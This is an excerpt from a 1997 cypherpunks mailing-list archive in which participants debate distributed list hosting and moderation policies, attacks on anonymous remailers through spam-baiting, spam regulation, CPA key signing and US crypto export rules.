are these "peer" relationships up to each list operator? -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From stend at sten.tivoli.com Thu Feb 13 15:26:49 1997 From: stend at sten.tivoli.com (Firebeard) Date: Thu, 13 Feb 1997 15:26:49 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702132326.PAA13590@toad.com> >>>>> Igor Chudov @ home writes: IC> This is where the distributed nature of the list comes in. if IC> someone disagrees with Jim's AUP, he or she can use soem other IC> mailing list host. And once I'm up and running, my cypherpunks list server will not be interconnected with any server which has a similar AUP. The implication of the AUP is that if you _don't_ comply with it, you will be blocked. Without such an implication, the AUP is meaningless, and I'm dedicated that there should be no filtering/blocking of any kind, of the list. Persons behaving 'unacceptably' should be handled by social pressures by others in the 'community' of the list, and not by policies of the list operators. -- #include /* Sten Drescher */ Unsolicited bulk email will be stored and handled for a US$500/KB fee. It is by caffeine alone I set my mind in motion, it is by the beans of Java that thoughts acquire speed, the hands acquire shaking, the shaking becomes a warning, it is by caffeine alone I set my mind in motion. -- Carlos Nunes-Ueno, 3/29/95 From roach_s at alph.swosu.edu Thu Feb 13 15:26:56 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Thu, 13 Feb 1997 15:26:56 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702132326.PAA13599@toad.com> At 10:28 PM 2/12/97 -0800, Hal Finney wrote: >From: Sean Roach ... >> Another idea that has been festering. If we could get a CPA involved in >> this forum, I would be willing to have h[im/er] sign my key, (which is >> seldom used, mostly because this is the only place I use e-mail), for that >> reasonable fee that CPA's can charge. I know that it is not a standard, or >> even legally recognized, post for CPA's, but I think that enough people >> would trust them. > >The big question with identity certificates is what procedures were followed >in verifying the identity when the cert was issued. If the CPA publishes >some standard method, and his reputation is strong enough that people will >trust him to follow it, then it might well be worth money to you to have >him sign it. This is the traditional role of the Certification Authority. > >> This would take care of some of the "newly minted" key problems. Since >> getting someone who is trusted to sign your key is a recognized method of >> getting people to believe you are who you say you are. > >It depends on the circumstances where you expect to use your key. Within >a small to medium circle of associates there may be some group members >who sign keys and are trusted by other members of the group. There is >no particular reason for it to be difficult. If you want a signature which >will be accepted by everyone in the U.S. you have a harder problem. As far as I am aware, a CPA is supposed to require a photo ID. Since this is the method by which absentee voting is accomplished. A supposedly anonymous system, (using two envelopes, the postmaster only knows that you voted, the vote counter only knows that it came by mail, the public only knows how many people are absentee voters, and who, the voter assumes that the system works), requiring the CPA as a witness to the identity of the voter. The problem would be getting the public to recognize the CPA as a key signing authority. This would presumably require a public announcement, the backing of existing trusted users, etc. Personally, I think that the netherlands? toying around with the post office would be ideal for keys used solely for signing. I just wouldn't trust the government to have access to the one I used for encryption. Maybe that's a better idea. Let's all use a government accessable key for signing, making it as long as possible to reduce identity theft. And use homebrew, super encryption for the actual secrecy. Let GAK be our CPA. From adam at homeport.org Thu Feb 13 15:27:07 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 13 Feb 1997 15:27:07 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: <199702132327.PAA13628@toad.com> A while back, I experimented with a technique for adding an md5 based message-id at the top of my procmailrc. Never got it working. I'll give it another shot middle of March, when I get back from FC '97*, and catch up on stuff. Someone could of course, beat me to it. The flow was: all messages get piped into md5, then use formail to set a new header. Adam Derek Atkins wrote: | Anil Das writes: | | [snip] | > It detects duplicates by Message-Id. | | Unfortunately, the messages that make it through to the cypherpunks | list have their MessageID changed when they get approved. So, | checking for duplicates by MessageID fails, given the current approval | mechanism. :( | | I've informed Sandy of the problem, but he doesn't know how to | preserve the original MessageIDs. | | -derek | | -- | Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory | Member, MIT Student Information Processing Board (SIPB) | URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH | warlord at MIT.EDU PGP key available | -- "It is seldom that liberty of any kind is lost all at once." -Hume From mix at earth.wazoo.com Thu Feb 13 15:27:10 1997 From: mix at earth.wazoo.com (Wazoo MixMaster) Date: Thu, 13 Feb 1997 15:27:10 -0800 (PST) Subject: Remailer Network Under Attack Message-ID: <199702132327.PAA13634@toad.com> It looks like a new round of attacks against the remailer network is underway. Once again, the provocation is "abuse". Unknown persons have been using anonymous remailers and mail2news gateways to "plant" e-mail addresses in various NGs for the spam-bots to harvest and deluge with spam. The original intention appears to have been to "poison the well" for spammers by planting addresses that they'd get in trouble for sending their junk mail to. It appears that one or more copy-cats is now using the same methodology to plant the addresses of people who they'd like to see spammed. (I'm using the term "plant" rather than "forge" since the messages seem to contain sufficient disclaimers that the From: addresses are not genuine. Sufficient for a normal HUMAN reader, but not an automated address harvester, that is.) Within the last week or so, a chorus of complaints has arisen about this practice, orchestrated by about a half dozen individuals who meet an interesting criteria -- they all hold dual accounts on both Netcom and a small ISP known as DataBasix.com. The scenario is quite similar each time this has happened in the past, such as with the cross-posted pro-smoking/anti-smoking threads last year. One of the complainers politely asks that the abusers be identified and their abuse stop. This is, of course, impossible because the perpetrators are posting anonymously. The second step, which follows the first very closely, is a demand that the remailer be shut down with threats being CCed to sysadmins and upstream providers. Given the variety of addresses being "spam baited", the only logical target of this abuse is the remailers themselves. Both sides of certain heated controversies report being made the target of this spam bait, each side accusing the other of being responsible. The only question is whether the main group of complainers (the Netcom/DataBasix group) are merely innocent bystanders or whether they may have initiated the "abuse" as an excuse to shut down the remailers in furtherance of some unknown agenda. Either that, or someone else is attacking the remailer net and it's just a coincidence that a group fitting such a curious pattern (dual accounts on the same two ISPs) should step in and demand the dismantling of several elements of the remailer/m2n-gateway infrastructure. HYPOTHETICAL QUESTION: Would mentioning the "Reichstag Fire" invoke Godwin's Law prematurely? From janke at unixg.ubc.ca Thu Feb 13 15:27:12 1997 From: janke at unixg.ubc.ca (Leonard Janke) Date: Thu, 13 Feb 1997 15:27:12 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702132327.PAA13636@toad.com> ichudov at algebra.com (Igor Chudov @ home) writes: > > Dr.Dimitri Vulis KOTM wrote: > > [...] > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > > cross-posted and "off-topic" crap is because net.cops would be more > > likely to complain to posters' sysadmins. [...] > > As for net.cops, check out what Scott Nudds does in comp.lang.c++ > [...] Yes, Scott Nudds is a good example of how dedicated flamers (or maybe he is just a flamee trying to defend himself, I came too late to say for sure), and those who fuel them on, can cause even a comp.* newsgroup to be as noisy as this list. (Btw, if you think comp.lang.c++ is bad, check out comp.lang.asm.x86, sometime!). I think it is, thus, important to distinguish between noise from "outsiders", and noise caused by "insiders" who actually read the newsgroup but disrupt it for fun or grudges, or what not. A comp.* newsgroup will help reduce the former noise, for the reasons Dr. Vulis cites, but not so much the latter, since many insider trouble-makers are often their own adminstraters or providers, or who have found providers or who now have admins who will not cut them off. That being said, I fully support the idea of a comp.* newgroup, over an alt.* group. The important advantages are the greater propogation many have described, and the reduction in "outsider" noise. I also think that people interested in computing in general might be more likely to stumble onto the newsgroup, since the comp.* hierachy is so much smaller than the alt.* hierachy. I do worry, however, that some of the more mischevious people around this list might try to disrupt the voting process with forged e-mail, or turn the discussion over creation into a less than civil debate. In this unlinkely worst case scenario, however, not much would be lost since we could still fall back to alt.cypherpunks, and it would, later, make for good net.legends. :) To be fair, though, I doubt that anyone would seriously try to disrupt the creation, given the dedication I am seeing people putting into finding a new home (or homes!) for the list, and that there does not seem to be anyone dedicated to distrupting that process as John Gilmore worried there would be. (And I am on the unedited list, too!) Let's give it a shot! Leonard From tcmay at got.net Thu Feb 13 15:27:13 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 13 Feb 1997 15:27:13 -0800 (PST) Subject: (2) More on Digital Postage Message-ID: <199702132327.PAA13638@toad.com> At 8:10 PM +0000 2/13/97, Attila T. Hun wrote: >+Attila is free to hire agents to screen his mail so he does not receive >+spam. He is not free, in a free society, to force such screeners upon >+me. > > very true. if you if define that your freedom includes the free > abuse of your freedoms by others. freedom is a two way street; > freedom in my book says that I can do anything I wish which does > not infringe on the rights of others. now, that implies that I can As this relates to "unwanted mail," I think calling this an "abuse of freedom by others" is misleading, and a slippery slope. On this same slippery slope lies the claims by some women, as an example, that images in Playboy "abuse their freedoms" (I'd've thought a different kind of abuse is involved, but I won't get into that here). Is unwanted physical mail also an abuse of freedom? How about unwanted personal letters? How about unwanted conversations in a Cypherpunks meeting? The answer to all of these issues lies outside the State. Invoking the power of Men with Guns to stop these "unwanted contacts" is simply wrong. Attila seems to be arguing that the State has a legitimate role in censoring certain contacts, whereas I argue that technology and contracting can almost always do a better job. I repeat: Attila is free to hire a censor, or nanny, or personal secretary to screen his calls, to sift through his mail to pass on only the most relevant stuff, and so on. Many celebrities and busy people do just this. (In the CompuServe case which triggered this thread, CompuServe certainly could have offered a "filtering" service to its members. This would be unexceptionable, and the right way to go, contractually and technologically.) Attila is not free, in a free society, to claim (*) that his freedoms are being infringed when people send him mail he is not interested in. (* He can certainly _claim_ it, but he cannot bring the State in to enforce his dubious claim about his freedom being infringed.) By the way, I think the "junk fax" and "junk phone call" laws are clearcut violations of the First Amendment. I understand why the herd _wants_ these laws, as it reduces the costs involved in replacing fax paper, running to the telephone only to find someone trying to sell something, etc., but it is quite clearly a prior restraint on speech, however well-intentioned. (There are technological solutions to these problems as well. The laws shield people from having to deal with these solutions, however.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From homer at lightlink.com Thu Feb 13 15:27:16 1997 From: homer at lightlink.com (Homer W. Smith) Date: Thu, 13 Feb 1997 15:27:16 -0800 (PST) Subject: Remailer Network Under Attack Message-ID: <199702132327.PAA13644@toad.com> > Given the variety of addresses being "spam baited", the only logical > target of this abuse is the remailers themselves. Both sides of > certain heated controversies report being made the target of this > spam bait, each side accusing the other of being responsible. Allegations of responsibility are a serious charge and should be looked into immediately. GOOD GUYS AND BAD GUYS, circa 12/95 There are two kinds of people in the world. Those that divide people into two kinds and those that don't. With that in mind, I present to you the following over simplification. There are two kinds of people in the world, the good guys and the bad guys. The good guys speak with the Voice of Truth, and the bad guys speak with the Voice of Lies. I believe that anonymity is the foundation of freedom in the known universe. Anonymity is the ability to speak either the voice of truth or the voice of lies without anyone knowing who you are. Accountability is the opposite of Anonymity. Accountability means that everyone knows who said what and can take them to task for it. Both sides can use force to silence the other side, but usually its the bad guys who use force to silence the good guys, good guys use more voice of Truth to expose the bad guys. Although some would claim that in general accountability is a good thing, I would point out that ALL members of the controlling party of the emerging police state are adamantly FOR absolute accountability at all times for all their citizens. That should give one pause to wonder. Anonymity is actually very hard to maintain, and absolute anonymity for all people at all times is very difficult indeed. Therefore by observation a society or oganization is usually operating at some gradient scale of anonymity between the extremes of total anonymity and total non anonymity. It can come to pass that certain gradient levels of anonymity end up benefitting the bad guys more than the good guys. In these situations, the bad guys tend to start winning and the good guys perceive that the bad guys are winning BECAUSE of anonymity. Rather than use the weapon of anonymity themselves to protect against the bad guys, the usual convulsive reaction on the part of the good guys is to try and close down the channels of anonymity to keep the bad guys located and corralled, rather than to open up the channels more and use it themselves. This does not occur to them, or if it does they are beset with visions of the bad guys getting away with more than they are now. The logic for closing down the channels of anonymity goes something like this. Since our country is ruled by an Omni Intelligent and Omni Beneficent God King, if we can track every communication down to the person who said it, the God King will be able to tell the good guys from the bad guys, and silence the bad guys for us. The problem with this logic is that our country is not run by a God King, but by human beings who tend to elect each other into power based on outrageous criteria. As the bad guys see themselves getting corraled with accountability, they simply run for office and get themselves elected into the positions of power where THEY are the ones taking action against the bad guys. Of course they take action against the good guys instead. It is for this reason that the temptation to tighten accountability when anonymity is abused is always an error and leads to a terrible trap worse than any tar pit. Namely only the bad guys get to speak, and the good guys get to remain silent fearing for their lives. Which is why when the police ask if you have something to hide after you have refused to let them spot search your belongings, you must always say, "Of course, I have EVERYTHING to hide. FROM YOU!" Anyhow as an ISP it is my job to provide the channels of communication between people. That's what I do, I provide the CHANNEL. This includes standard accountable channels and not so standard anonymous channels. People who communicate with each other tend to get into fights with each other over what they are communicating about. Usually they take their fights out on each other. But when anonymous channels are used, they can't get to each other, they don't know who each other is, so they take it out on the provider of the channel instead. That's me. It's enough to make you want to throw anonymity in the waste basket. Providing a communication channel is a difficult job, it usually involves a precarious balance between allowing the good guys to speak and making sure the bad guys don't get away with the gold. It is very hard to maintain that balance with both sides pulling and tugging on you because they can't pull and tug on each other. One of the main purposes of the Subscriber Agreement is to make sure that people pull and tug on each other, and leave me out of it even if they got no one to target at the other end. Homer From attila at primenet.com Thu Feb 13 15:27:27 1997 From: attila at primenet.com (Attila T. Hun) Date: Thu, 13 Feb 1997 15:27:27 -0800 (PST) Subject: (2) More on Digital Postage Message-ID: <199702132327.PAA13651@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970213:0902 "Timothy C. May" said: +At 5:00 AM +0000 2/13/97, Attila T. Hun wrote: +> unfortunately, until the irresponsible tone down their greed, we +> need the regulation to protect ourselves from the predators. +> +> in other words, I agree with you in my heart, but our society +> refuses to cooperate. +Attila and I have had this disagreement before (last time it involved +Attila's support for curfews). +Attila is free to hire agents to screen his mail so he does not receive +spam. He is not free, in a free society, to force such screeners upon +me. very true. if you if define that your freedom includes the free abuse of your freedoms by others. freedom is a two way street; freedom in my book says that I can do anything I wish which does not infringe on the rights of others. now, that implies that I can _personally_ exact justice on those who violate my space. this is a state of war which even Jim Bell's AP does not cover --AP is just an anonymous and chicken-hearted way of settling the score, and creates its own code even more absurb than the rules coming down from Washington. and, I can not imagine you really believe the basic animals of our society and the predators who attempt to feed upon us all do not need to be restrained in one way or another. you obviously have a solution: your .44 (I prefer a full choke 12 ga pump). maybe the comment in my sig line is an expression of the suppressed feelings of the frustrated members of our society who have been confronted by the inequities of our legal system when they expected redress was their right. +Talking about "irresponsible tones" and "greed" and how we need more +laws to protect ourselves from "predators" sounds more like something +from the Marin County limousine liberal set than from a Utah mountain +man Cypherpunk. I'm shocked, simply shocked. shocked, simply shocked? (:-}) marin county? I'm insulted tell you what: you run afoul of us out here on the "mountain" where there is no need for social niceties --we just call it "range law." ___________________________________________________________attila_____ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwN12b04kQrCC2kFAQG8AwP/fT3BgeMG8V9IKOGjFEpI+3gY8F5cSohh 8qqaMrHkYT7UU1WZcO/1pGJyUycvOUgzzlFJoTYZsxP6NvJhpkGopHg31EUBDfC+ 5lFDJR1hlX6ckyL8moDlxi3l0z7Dxf6VO+J5dsCetmJG+QxN7/0PzeplN5oN9Y1V nHzMG5/FD5Y= =G/Ag -----END PGP SIGNATURE----- From gen2600 at aracnet.com Thu Feb 13 15:28:52 1997 From: gen2600 at aracnet.com (Genocide) Date: Thu, 13 Feb 1997 15:28:52 -0800 (PST) Subject: NSA Rainbow Series. Message-ID: <199702132328.PAA13671@toad.com> On Wed, 12 Feb 1997, Tobin Fricke wrote: Turns out they were just late in gettin it to me, but I did get it. > > 1-800-688-6115 press 0 or just wait for the operator. My second > > order consisting of posters and video has not arrived either. It has been > > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when > > you order the Rainbow series you will be getting a large box.Their are > > something like 30+ booklets in the series. > > There is a set of security posters that include a Santa > > poster.And there is also a video with two films on it (Acess Ins and outs > > adb Acess Control). > > How much does all this stuff from the NSA cost? > > Tobin Fricke > (please reply privately, tobin at mail.edm.net) > > Genocide Head of the Genocide2600 Group ============================================================================ **Coming soon! www.Genocide2600.com! ____________________ *---===| |===---* *---===| Genocide |===---* "Courage is not defined by those who *---===| 2600 |===---* fought and did not fall, but by those *---===|__________________|===---* who fought, fell, and and rose again." Email: gen2600 at aracnet.com Web: http://www.aracnet.com/~gen2600 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ It is by caffeine alone that I set my mind in motion. It is by the Mountain Dew that the thoughts acquire speed, the lips acquire stains, the stains become a warning. It is by caffeine alone that I set my mind in motion. ================================================================================ From lerhuber at joshuanet.com Thu Feb 13 15:33:07 1997 From: lerhuber at joshuanet.com (George Leerhuber) Date: Thu, 13 Feb 1997 15:33:07 -0800 (PST) Subject: unsubcribe Message-ID: <3303A4DF.6F6E@joshuanet.com> UNSUBCRIBE From gbroiles at netbox.com Thu Feb 13 15:38:43 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 15:38:43 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) In-Reply-To: <199702130118.TAA02401@einstein> Message-ID: <3.0.1.32.19970213154248.0074ce38@mail.io.com> At 07:18 PM 2/12/97 -0600, Jim Choate wrote: [quoting Tim May] >> I was making the point that _any_ site distributing a list is likely to >> face legal pressures not to carry certain items. Read between the lines (or >> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and >> the products of Sandy's company, and legal pressures applied, to see what I >> mean. > >This is exactly the reason that my suggestion to anyone setting up a >remailer with any sort of controversial content should do it as some sort of >outreach of their business. It is too expensive in time, money, and hassles >to do for grins and giggles. I disagree strongly that a controversial or legally troublesome list (or other data stream) should be closely associated with a business. While I agree that it's important that a list be supported by a robust hardware/software/network infrastructure, businesses tend to be focused on making money and maintaining business relationships, not on abstract or philosophical goals like "free speech". (Also, what is the "right" thing to do where a particular exercise of free speech looks like it has serious potential to harm the business, thereby harming or eliminating the list which makes the speech possible? Isn't every choice a person could make in such a situation reducible to "censorship"?) Every "forum" for free speech occurs exists in the context of economic and political relationships - and there will always be some message which threatens (to some degree) the stability of those relationships, and by implication, the forum itself. Unless we can eliminate economics and politics (ha, ha) I think that will always be the case - and there will always be some messages which raise "conflict of interest" problems. But some forums rest on less stable relationships (like, for example, most small businesses) and are more easily threatened by difficult messages. It's much easier to disrupt the income stream of a small business than to disrupt the income stream from a portfolio of investments or savings. But even a system whose upkeep was funded by something as unremarkable as interest on a savings account or a CD would still theoretically be "conflicted" were someone to use the system to propose or carry out a scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and loot various savings & loans. The threat(s) to systems providing transport/storage for controversial messages are not limited to liability after a judgement; it is becoming more common for civil plaintiffs to seek (and get) discovery of the actual hardware owned and used by defendants, in order to look through the storage media for discoverable information, including "deleted" files. The tactics the Co$ used against its critics were shocking but also legal (modulo some irregularities). It's certainly not unimaginable that similar tactics would be used against a remailer or majordomo operator were the list to pass traffic that someone didn't like. And if a computer system is the target of a search warrant in the criminal arena, you'll be lucky if you get to keep your electronic alarm clocks after the search. Count on everything with a chip in it going away in the police van. Most businesses don't want to expose themselves to the threat of civil or criminal seizure or discovery, especially not at random times and for non-business reasons. So, to the extent that they're paying attention, they may choose not to expose themselves to extra liability which carries little (or no) business value. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From ravage at EINSTEIN.ssz.com Thu Feb 13 15:43:33 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 15:43:33 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702132350.RAA05077@einstein> Forwarded message: > Date: Thu, 13 Feb 1997 14:46:04 -0800 > From: Greg Broiles > Subject: Re: Private property & the cypherpunks list(s) > Is this the policy of the majordomo network, that individual list operators > can make their own policies for their subscribers, but may not/cannot > impose them on other list operators or the other lists' members? It sounds > very reasonable, but it would be nice to be clear about whether or not this > is the case. There is no policy at this point. We have not even agreed to a means to institute the network or its basic architecture. The only point of mandatory agreement is between any two individual list operators and the mechanism they use to transfer between those two nodes. This sort of policy distribution won't work, as to reasonable I think not. If everyone does their own thing with no compromise then nothing will get done. > Are there any rules (other than "no rules") which apply to all lists/list > operators/list subscribers? Can there ever be any? Who would write the > rules, and who must agree to them in order for them to take effect? There are no explicit rules at this point. Yes there can be all sorts of rules, both implicit (eg copyrights) and explicit. Anyone can write rules. Nobody must agree to anything other than implicit agreements, course the concept of 'agreement' sorta goes out the window with implicits. > Can individual list operators be forced to or forbidden to "peer" with > other machines, or are these "peer" relationships up to each list operator? Don't see how anyone can force the remailer to do anything. Can't speak for anyone else but can say with some degree of certainty that no participant in cpunks can stop me from subscribing whoever I want. There is certainly no mechanism envisioned to authenticate subscriptions with the remailer operators. Jim Choate CyberTects ravage at ssz.com From kent at songbird.com Thu Feb 13 15:47:38 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 13 Feb 1997 15:47:38 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: <3.0.1.32.19970213144604.027ebc5c@mail.io.com> Message-ID: <199702140051.QAA12304@songbird.com> Greg Broiles allegedly said: > > At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote: > > > >This is where the distributed nature of the list comes in. > > > >if someone disagrees with Jim's AUP, he or she can use soem other > >mailing list host. > > Is this the policy of the majordomo network, that individual list operators > can make their own policies for their subscribers, but may not/cannot > impose them on other list operators or the other lists' members? It sounds > very reasonable, but it would be nice to be clear about whether or not this > is the case. > > Are there any rules (other than "no rules") which apply to all lists/list > operators/list subscribers? Can there ever be any? Who would write the > rules, and who must agree to them in order for them to take effect? > > Can individual list operators be forced to or forbidden to "peer" with > other machines, or are these "peer" relationships up to each list operator? Both realistically and idealistically speaking, the peer relationships should be up to each list operator. And, once again, both realistically and idealistically speaking, each list operator should set their own policies. The beauty of this scheme is that it gives maximum freedom to both the list operators *and* the list members -- if a list operator wants to filter out clever asci art, they can, and contrariwise, if the list members want to change list operators as a result, they can. In fact, I don't see why moderated versions of the list couldn't happily coexist as part of the distributed list. Let those flowers bloom! BTW, I am planning on an upgrade to majordomo 1.94.1 this weekend, and I will be setting up cypherpunks at songbird.com at that time. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From rwright at adnetsol.com Thu Feb 13 16:03:58 1997 From: rwright at adnetsol.com (Ross Wright) Date: Thu, 13 Feb 1997 16:03:58 -0800 (PST) Subject: (2)Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702140004.QAA20943@adnetsol.adnetsol.com> On or About 13 Feb 97 at 5:00, Attila T. Hun wrote: > > I don't like the regulatory agencies either, but at least they > are not Judge Roy Bean, Law West of the Pecos. > > unfortunately, until the irresponsible tone down their greed, we > need the regulation to protect ourselves from the predators. Attila: I am shocked that you would make this statement. What makes you think that the 'regulators' would go away, once the greedy spammers "toned down their greed"? Spammers as Predators? Are you being sarcastic? Are you seriously saying that spammers are preying on the weak? I am one-thousand % AGAINST regulation of any sort. > > in other words, I agree with you in my heart, but our society > refuses to cooperate. If cooperation means regulation, count me out. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: 415-206-9906 From ravage at EINSTEIN.ssz.com Thu Feb 13 16:10:02 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 16:10:02 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702140016.SAA05170@einstein> Forwarded message: > Date: Thu, 13 Feb 1997 13:50 EDT > From: "E. Allen Smith" > Subject: Re: Cypherpunks Distributed Remailer (fwd) > Well, if you can't deliver mail because their mailbox is full, then > you should simply wait a few days before trying to deliver mail to that > address. If it's because the address isn't there any more, you should delete > it from the subscription lists. Otherwise, the instant people's mail quotas > overflow (e.g., they're on AOL and they haven't been able to get through the > clogged lines), they get bounced... or you're left with a lot of invalid > addresses. If their mailbox is full I might let it sit a day. If I still get a bounce after that I currently yank it. As I stated earlier, I am currently trying to decide if daily or weekly purges are in order. I personaly lean toward daily. I certainly am not buying disk space just so somebody else can use it for storing things they don't personaly have room for. > The address causing the bounce is not necessarily determinable > automatically from the bounce message; if it isn't, then you need to keep a > copy around for a human to look at. Hmmm, to date I haven't had a problem determining where the cause was from the bounces I see. I can't always tell why but it always seems to say whose email address was involved. > Given that there are pre-existing news-mail gateways, I'd think that > the programs should be available. My concern on the programming is more in > the realm of keeping the thing up and running. If you get it up and running there should be no programming involved. Unless you want to reconfigure. Jim Choate CyberTects ravage at ssz.com From anand at querisoft.com Thu Feb 13 16:27:04 1997 From: anand at querisoft.com (anand abhyankar) Date: Thu, 13 Feb 1997 16:27:04 -0800 (PST) Subject: crypto restrictions Message-ID: <330466AB.3D19@querisoft.com> hi guys, i am a bit confused. what exactly are the us govt crypto regulations. what i mean is that : 1) is it illegal to develop an encryption tool (s/w) in the US which uses > 40 bit size session keys and then export that s/w outside of the US. 2) is it illegal to encrypt some data inside the us with a key > 40 bit in size and then send that data outside the US. thanx. anand.... From lerhuber at joshuanet.com Thu Feb 13 17:11:22 1997 From: lerhuber at joshuanet.com (George Leerhuber) Date: Thu, 13 Feb 1997 17:11:22 -0800 (PST) Subject: unsubcribe Message-ID: <199702140111.RAA15616@toad.com> UNSUBCRIBE From jya at pipeline.com Thu Feb 13 17:22:13 1997 From: jya at pipeline.com (John Young) Date: Thu, 13 Feb 1997 17:22:13 -0800 (PST) Subject: Technology and the Electronic Economy Message-ID: <1.5.4.32.19970214011616.006f0850@pop.pipeline.com> We've put the IEEE Spectrum special issue on Technology and the Electronic Economy, with 13 articles previously listed here, at: http://jya.com/tee.htm From anand at querisoft.com Thu Feb 13 17:26:19 1997 From: anand at querisoft.com (anand abhyankar) Date: Thu, 13 Feb 1997 17:26:19 -0800 (PST) Subject: crypto restrictions Message-ID: <199702140126.RAA15888@toad.com> hi guys, i am a bit confused. what exactly are the us govt crypto regulations. what i mean is that : 1) is it illegal to develop an encryption tool (s/w) in the US which uses > 40 bit size session keys and then export that s/w outside of the US. 2) is it illegal to encrypt some data inside the us with a key > 40 bit in size and then send that data outside the US. thanx. anand.... From rwright at adnetsol.com Thu Feb 13 17:26:23 1997 From: rwright at adnetsol.com (Ross Wright) Date: Thu, 13 Feb 1997 17:26:23 -0800 (PST) Subject: (2)Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702140126.RAA15895@toad.com> On or About 13 Feb 97 at 5:00, Attila T. Hun wrote: > > I don't like the regulatory agencies either, but at least they > are not Judge Roy Bean, Law West of the Pecos. > > unfortunately, until the irresponsible tone down their greed, we > need the regulation to protect ourselves from the predators. Attila: I am shocked that you would make this statement. What makes you think that the 'regulators' would go away, once the greedy spammers "toned down their greed"? Spammers as Predators? Are you being sarcastic? Are you seriously saying that spammers are preying on the weak? I am one-thousand % AGAINST regulation of any sort. > > in other words, I agree with you in my heart, but our society > refuses to cooperate. If cooperation means regulation, count me out. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: 415-206-9906 From kent at songbird.com Thu Feb 13 17:26:57 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 13 Feb 1997 17:26:57 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702140126.RAA15930@toad.com> Greg Broiles allegedly said: > > At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote: > > > >This is where the distributed nature of the list comes in. > > > >if someone disagrees with Jim's AUP, he or she can use soem other > >mailing list host. > > Is this the policy of the majordomo network, that individual list operators > can make their own policies for their subscribers, but may not/cannot > impose them on other list operators or the other lists' members? It sounds > very reasonable, but it would be nice to be clear about whether or not this > is the case. > > Are there any rules (other than "no rules") which apply to all lists/list > operators/list subscribers? Can there ever be any? Who would write the > rules, and who must agree to them in order for them to take effect? > > Can individual list operators be forced to or forbidden to "peer" with > other machines, or are these "peer" relationships up to each list operator? Both realistically and idealistically speaking, the peer relationships should be up to each list operator. And, once again, both realistically and idealistically speaking, each list operator should set their own policies. The beauty of this scheme is that it gives maximum freedom to both the list operators *and* the list members -- if a list operator wants to filter out clever asci art, they can, and contrariwise, if the list members want to change list operators as a result, they can. In fact, I don't see why moderated versions of the list couldn't happily coexist as part of the distributed list. Let those flowers bloom! BTW, I am planning on an upgrade to majordomo 1.94.1 this weekend, and I will be setting up cypherpunks at songbird.com at that time. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From gbroiles at netbox.com Thu Feb 13 17:26:59 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 17:26:59 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702140126.RAA15935@toad.com> At 07:18 PM 2/12/97 -0600, Jim Choate wrote: [quoting Tim May] >> I was making the point that _any_ site distributing a list is likely to >> face legal pressures not to carry certain items. Read between the lines (or >> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and >> the products of Sandy's company, and legal pressures applied, to see what I >> mean. > >This is exactly the reason that my suggestion to anyone setting up a >remailer with any sort of controversial content should do it as some sort of >outreach of their business. It is too expensive in time, money, and hassles 